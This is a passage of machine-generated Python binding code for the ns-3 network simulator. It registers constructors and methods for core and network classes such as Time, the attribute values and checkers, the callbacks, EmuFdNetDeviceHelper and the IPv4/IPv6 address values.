ns3::DefaultDeleter<ns3::TraceSourceAccessor> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter< ns3::TraceSourceAccessor > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SystemThread_methods(root_module, cls): ## system-thread.h (module 'core'): ns3::SystemThread::SystemThread(ns3::SystemThread const & arg0) [copy constructor] cls.add_constructor([param('ns3::SystemThread const &', 'arg0')]) ## system-thread.h (module 'core'): ns3::SystemThread::SystemThread(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [constructor] cls.add_constructor([param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')]) ## system-thread.h (module 'core'): static bool ns3::SystemThread::Equals(pthread_t id) [member function] cls.add_method('Equals', 'bool', [param('pthread_t', 'id')], is_static=True) ## system-thread.h (module 'core'): void ns3::SystemThread::Join() [member function] cls.add_method('Join', 'void', []) ## system-thread.h (module 'core'): static pthread_t ns3::SystemThread::Self() [member function] cls.add_method('Self', 'pthread_t', [], is_static=True) ## system-thread.h (module 'core'): void ns3::SystemThread::Start() [member function] cls.add_method('Start', 'void', []) return def register_Ns3Time_methods(root_module, cls): cls.add_binary_numeric_operator('*', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right')) cls.add_binary_numeric_operator('+', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right')) cls.add_binary_numeric_operator('-', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right')) cls.add_binary_numeric_operator('/', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right')) cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('>') cls.add_binary_comparison_operator('!=') cls.add_inplace_numeric_operator('+=', param('ns3::Time const &', u'right')) cls.add_inplace_numeric_operator('-=', param('ns3::Time const &', u'right')) cls.add_output_stream_operator() cls.add_binary_comparison_operator('<=') cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('>=') ## nstime.h (module 'core'): ns3::Time::Time() [constructor] cls.add_constructor([]) ## nstime.h (module 'core'): ns3::Time::Time(ns3::Time const & o) [copy constructor] cls.add_constructor([param('ns3::Time const &', 'o')]) ## nstime.h (module 'core'): ns3::Time::Time(double v) [constructor] cls.add_constructor([param('double', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(int v) [constructor] cls.add_constructor([param('int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long int v) [constructor] cls.add_constructor([param('long int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long long int v) [constructor] cls.add_constructor([param('long long int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(unsigned int v) [constructor] cls.add_constructor([param('unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long unsigned int v) [constructor] cls.add_constructor([param('long unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long long unsigned int v) [constructor] cls.add_constructor([param('long long unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(ns3::int64x64_t const & v) [constructor] cls.add_constructor([param('ns3::int64x64_t const &', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(std::string const & s) [constructor] cls.add_constructor([param('std::string const &', 's')]) ## nstime.h (module 'core'): ns3::TimeWithUnit ns3::Time::As(ns3::Time::Unit const unit) const [member function] cls.add_method('As', 'ns3::TimeWithUnit', [param('ns3::Time::Unit const', 'unit')], is_const=True) ## nstime.h (module 'core'): int ns3::Time::Compare(ns3::Time const & o) const [member function] cls.add_method('Compare', 'int', [param('ns3::Time const &', 'o')], is_const=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value) [member function] cls.add_method('From', 'ns3::Time', [param('ns3::int64x64_t const &', 'value')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value, ns3::Time::Unit unit) [member function] cls.add_method('From', 'ns3::Time', [param('ns3::int64x64_t const &', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::FromDouble(double value, ns3::Time::Unit unit) [member function] cls.add_method('FromDouble', 'ns3::Time', [param('double', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::FromInteger(uint64_t value, ns3::Time::Unit unit) [member function] cls.add_method('FromInteger', 'ns3::Time', [param('uint64_t', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): double ns3::Time::GetDays() const [member function] cls.add_method('GetDays', 'double', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetDouble() const [member function] cls.add_method('GetDouble', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetFemtoSeconds() const [member function] cls.add_method('GetFemtoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetHours() const [member function] cls.add_method('GetHours', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetInteger() const [member function] cls.add_method('GetInteger', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetMicroSeconds() const [member function] cls.add_method('GetMicroSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetMilliSeconds() const [member function] cls.add_method('GetMilliSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetMinutes() const [member function] cls.add_method('GetMinutes', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetNanoSeconds() const [member function] cls.add_method('GetNanoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetPicoSeconds() const [member function] cls.add_method('GetPicoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): static ns3::Time::Unit ns3::Time::GetResolution() [member function] cls.add_method('GetResolution', 'ns3::Time::Unit', [], is_static=True) ## nstime.h (module 'core'): double ns3::Time::GetSeconds() const [member function] cls.add_method('GetSeconds', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetTimeStep() const [member function] cls.add_method('GetTimeStep', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetYears() const [member function] cls.add_method('GetYears', 'double', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsNegative() const [member function] cls.add_method('IsNegative', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsPositive() const [member function] cls.add_method('IsPositive', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsStrictlyNegative() const [member function] cls.add_method('IsStrictlyNegative', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsStrictlyPositive() const [member function] cls.add_method('IsStrictlyPositive', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsZero() const [member function] cls.add_method('IsZero', 'bool', [], is_const=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::Max() [member function] cls.add_method('Max', 'ns3::Time', [], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::Min() [member function] cls.add_method('Min', 'ns3::Time', [], is_static=True) ## nstime.h (module 'core'): static void ns3::Time::SetResolution(ns3::Time::Unit resolution) [member function] cls.add_method('SetResolution', 'void', [param('ns3::Time::Unit', 'resolution')], is_static=True) ## nstime.h (module 'core'): static bool ns3::Time::StaticInit() [member function] cls.add_method('StaticInit', 'bool', [], is_static=True) ## nstime.h (module 'core'): ns3::int64x64_t ns3::Time::To(ns3::Time::Unit unit) const [member function] cls.add_method('To', 'ns3::int64x64_t', [param('ns3::Time::Unit', 'unit')], is_const=True) ## nstime.h (module 'core'): double ns3::Time::ToDouble(ns3::Time::Unit unit) const [member function] cls.add_method('ToDouble', 'double', [param('ns3::Time::Unit', 'unit')], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::ToInteger(ns3::Time::Unit unit) const [member function] cls.add_method('ToInteger', 'int64_t', [param('ns3::Time::Unit', 'unit')], is_const=True) return def register_Ns3TraceSourceAccessor_methods(root_module, cls): ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor(ns3::TraceSourceAccessor const & arg0) [copy constructor] cls.add_constructor([param('ns3::TraceSourceAccessor const &', 'arg0')]) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor() [constructor] cls.add_constructor([]) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Connect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function] cls.add_method('Connect', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::ConnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function] cls.add_method('ConnectWithoutContext', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Disconnect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function] cls.add_method('Disconnect', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::DisconnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function] cls.add_method('DisconnectWithoutContext', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3Trailer_methods(root_module, cls): cls.add_output_stream_operator() ## trailer.h (module 'network'): ns3::Trailer::Trailer() [constructor] cls.add_constructor([]) ## trailer.h (module 'network'): ns3::Trailer::Trailer(ns3::Trailer const & arg0) [copy constructor] cls.add_constructor([param('ns3::Trailer const &', 'arg0')]) ## trailer.h (module 'network'): uint32_t ns3::Trailer::Deserialize(ns3::Buffer::Iterator end) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'end')], is_pure_virtual=True, is_virtual=True) ## trailer.h (module 'network'): uint32_t ns3::Trailer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## trailer.h (module 'network'): static ns3::TypeId ns3::Trailer::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## trailer.h (module 'network'): void ns3::Trailer::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trailer.h (module 'network'): void ns3::Trailer::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeAccessor_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor(ns3::AttributeAccessor const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeAccessor const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function] cls.add_method('Get', 'bool', [param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasGetter() const [member function] cls.add_method('HasGetter', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasSetter() const [member function] cls.add_method('HasSetter', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function] cls.add_method('Set', 'bool', [param('ns3::ObjectBase *', 'object', transfer_ownership=False), param('ns3::AttributeValue const &', 'value')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeChecker_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker(ns3::AttributeChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeChecker const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::AttributeChecker::Check(ns3::AttributeValue const & value) const [member function] cls.add_method('Check', 'bool', [param('ns3::AttributeValue const &', 'value')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function] cls.add_method('Copy', 'bool', [param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::AttributeValue >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::CreateValidValue(ns3::AttributeValue const & value) const [member function] cls.add_method('CreateValidValue', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::AttributeValue const &', 'value')], is_const=True) ## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetUnderlyingTypeInformation() const [member function] cls.add_method('GetUnderlyingTypeInformation', 'std::string', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetValueTypeName() const [member function] cls.add_method('GetValueTypeName', 'std::string', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeChecker::HasUnderlyingTypeInformation() const [member function] cls.add_method('HasUnderlyingTypeInformation', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeValue_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue(ns3::AttributeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeValue const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_pure_virtual=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::AttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3CallbackChecker_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker(ns3::CallbackChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackChecker const &', 'arg0')]) return def register_Ns3CallbackImplBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase(ns3::CallbackImplBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackImplBase const &', 'arg0')]) ## callback.h (module 'core'): bool ns3::CallbackImplBase::IsEqual(ns3::Ptr<ns3::CallbackImplBase const> other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ptr< ns3::CallbackImplBase const >', 'other')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3CallbackValue_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackValue const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackBase const & base) [constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'base')]) ## callback.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::CallbackValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## callback.h (module 'core'): bool ns3::CallbackValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## callback.h (module 'core'): std::string ns3::CallbackValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## callback.h (module 'core'): void ns3::CallbackValue::Set(ns3::CallbackBase base) [member function] cls.add_method('Set', 'void', [param('ns3::CallbackBase', 'base')]) return def register_Ns3DataRateChecker_methods(root_module, cls): ## data-rate.h (module 'network'): ns3::DataRateChecker::DataRateChecker() [constructor] cls.add_constructor([]) ## data-rate.h (module 'network'): ns3::DataRateChecker::DataRateChecker(ns3::DataRateChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::DataRateChecker const &', 'arg0')]) return def register_Ns3DataRateValue_methods(root_module, cls): ## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue() [constructor] cls.add_constructor([]) ## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue(ns3::DataRateValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::DataRateValue const &', 'arg0')]) ## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue(ns3::DataRate const & value) [constructor] cls.add_constructor([param('ns3::DataRate const &', 'value')]) ## data-rate.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::DataRateValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## data-rate.h (module 'network'): bool ns3::DataRateValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## data-rate.h (module 'network'): ns3::DataRate ns3::DataRateValue::Get() const [member function] cls.add_method('Get', 'ns3::DataRate', [], is_const=True) ## data-rate.h (module 'network'): std::string ns3::DataRateValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## data-rate.h (module 'network'): void ns3::DataRateValue::Set(ns3::DataRate const & value) [member function] cls.add_method('Set', 'void', [param('ns3::DataRate const &', 'value')]) return def register_Ns3EmptyAttributeValue_methods(root_module, cls): ## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue(ns3::EmptyAttributeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::EmptyAttributeValue const &', 'arg0')]) ## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, visibility='private', is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], visibility='private', is_virtual=True) ## attribute.h (module 'core'): std::string ns3::EmptyAttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, visibility='private', is_virtual=True) return def register_Ns3EmuFdNetDeviceHelper_methods(root_module, cls): ## emu-fd-net-device-helper.h (module 'fd-net-device'): ns3::EmuFdNetDeviceHelper::EmuFdNetDeviceHelper(ns3::EmuFdNetDeviceHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::EmuFdNetDeviceHelper const &', 'arg0')]) ## emu-fd-net-device-helper.h (module 'fd-net-device'): ns3::EmuFdNetDeviceHelper::EmuFdNetDeviceHelper() [constructor] cls.add_constructor([]) ## emu-fd-net-device-helper.h (module 'fd-net-device'): std::string ns3::EmuFdNetDeviceHelper::GetDeviceName() [member function] cls.add_method('GetDeviceName', 'std::string', []) ## emu-fd-net-device-helper.h (module 'fd-net-device'): void ns3::EmuFdNetDeviceHelper::SetDeviceName(std::string deviceName) [member function] cls.add_method('SetDeviceName', 'void', [param('std::string', 'deviceName')]) ## emu-fd-net-device-helper.h (module 'fd-net-device'): int ns3::EmuFdNetDeviceHelper::CreateFileDescriptor() const [member function] cls.add_method('CreateFileDescriptor', 'int', [], is_const=True, visibility='protected', is_virtual=True) ## emu-fd-net-device-helper.h (module 'fd-net-device'): ns3::Ptr<ns3::NetDevice> ns3::EmuFdNetDeviceHelper::InstallPriv(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('InstallPriv', 'ns3::Ptr< ns3::NetDevice >', [param('ns3::Ptr< ns3::Node >', 'node')], is_const=True, visibility='protected', is_virtual=True) ## emu-fd-net-device-helper.h (module 'fd-net-device'): void ns3::EmuFdNetDeviceHelper::SetFileDescriptor(ns3::Ptr<ns3::FdNetDevice> device) const [member function] cls.add_method('SetFileDescriptor', 'void', [param('ns3::Ptr< ns3::FdNetDevice >', 'device')], is_const=True, visibility='protected', is_virtual=True) return def register_Ns3EventImpl_methods(root_module, cls): ## event-impl.h (module 'core'): ns3::EventImpl::EventImpl(ns3::EventImpl const & arg0) [copy constructor] cls.add_constructor([param('ns3::EventImpl const &', 'arg0')]) ## event-impl.h (module 'core'): ns3::EventImpl::EventImpl() [constructor] cls.add_constructor([]) ## event-impl.h (module 'core'): void ns3::EventImpl::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-impl.h (module 'core'): void ns3::EventImpl::Invoke() [member function] cls.add_method('Invoke', 'void', []) ## event-impl.h (module 'core'): bool ns3::EventImpl::IsCancelled() [member function] cls.add_method('IsCancelled', 'bool', []) ## event-impl.h (module 'core'): void ns3::EventImpl::Notify() [member function] cls.add_method('Notify', 'void', [], is_pure_virtual=True, visibility='protected', is_virtual=True) return def register_Ns3FdReader_methods(root_module, cls): ## unix-fd-reader.h (module 'core'): ns3::FdReader::FdReader(ns3::FdReader const & arg0) [copy constructor] cls.add_constructor([param('ns3::FdReader const &', 'arg0')]) ## unix-fd-reader.h (module 'core'): ns3::FdReader::FdReader() [constructor] cls.add_constructor([]) ## unix-fd-reader.h (module 'core'): void ns3::FdReader::Start(int fd, ns3::Callback<void, unsigned char*, int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> readCallback) [member function] cls.add_method('Start', 'void', [param('int', 'fd'), param('ns3::Callback< void, unsigned char *, int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'readCallback')]) ## unix-fd-reader.h (module 'core'): void ns3::FdReader::Stop() [member function] cls.add_method('Stop', 'void', []) ## unix-fd-reader.h (module 'core'): ns3::FdReader::Data ns3::FdReader::DoRead() [member function] cls.add_method('DoRead', 'ns3::FdReader::Data', [], is_pure_virtual=True, visibility='protected', is_virtual=True) return def register_Ns3Ipv4AddressChecker_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker(ns3::Ipv4AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4AddressChecker const &', 'arg0')]) return def register_Ns3Ipv4AddressValue_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4AddressValue const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4Address const & value) [constructor] cls.add_constructor([param('ns3::Ipv4Address const &', 'value')]) ## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-address.h (module 'network'): std::string ns3::Ipv4AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4AddressValue::Set(ns3::Ipv4Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv4Address const &', 'value')]) return def register_Ns3Ipv4MaskChecker_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker(ns3::Ipv4MaskChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4MaskChecker const &', 'arg0')]) return def register_Ns3Ipv4MaskValue_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4MaskValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4MaskValue const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4Mask const & value) [constructor] cls.add_constructor([param('ns3::Ipv4Mask const &', 'value')]) ## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4MaskValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4MaskValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask ns3::Ipv4MaskValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv4Mask', [], is_const=True) ## ipv4-address.h (module 'network'): std::string ns3::Ipv4MaskValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4MaskValue::Set(ns3::Ipv4Mask const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv4Mask const &', 'value')]) return def register_Ns3Ipv6AddressChecker_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker(ns3::Ipv6AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6AddressChecker const &', 'arg0')]) return def register_Ns3Ipv6AddressValue_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): 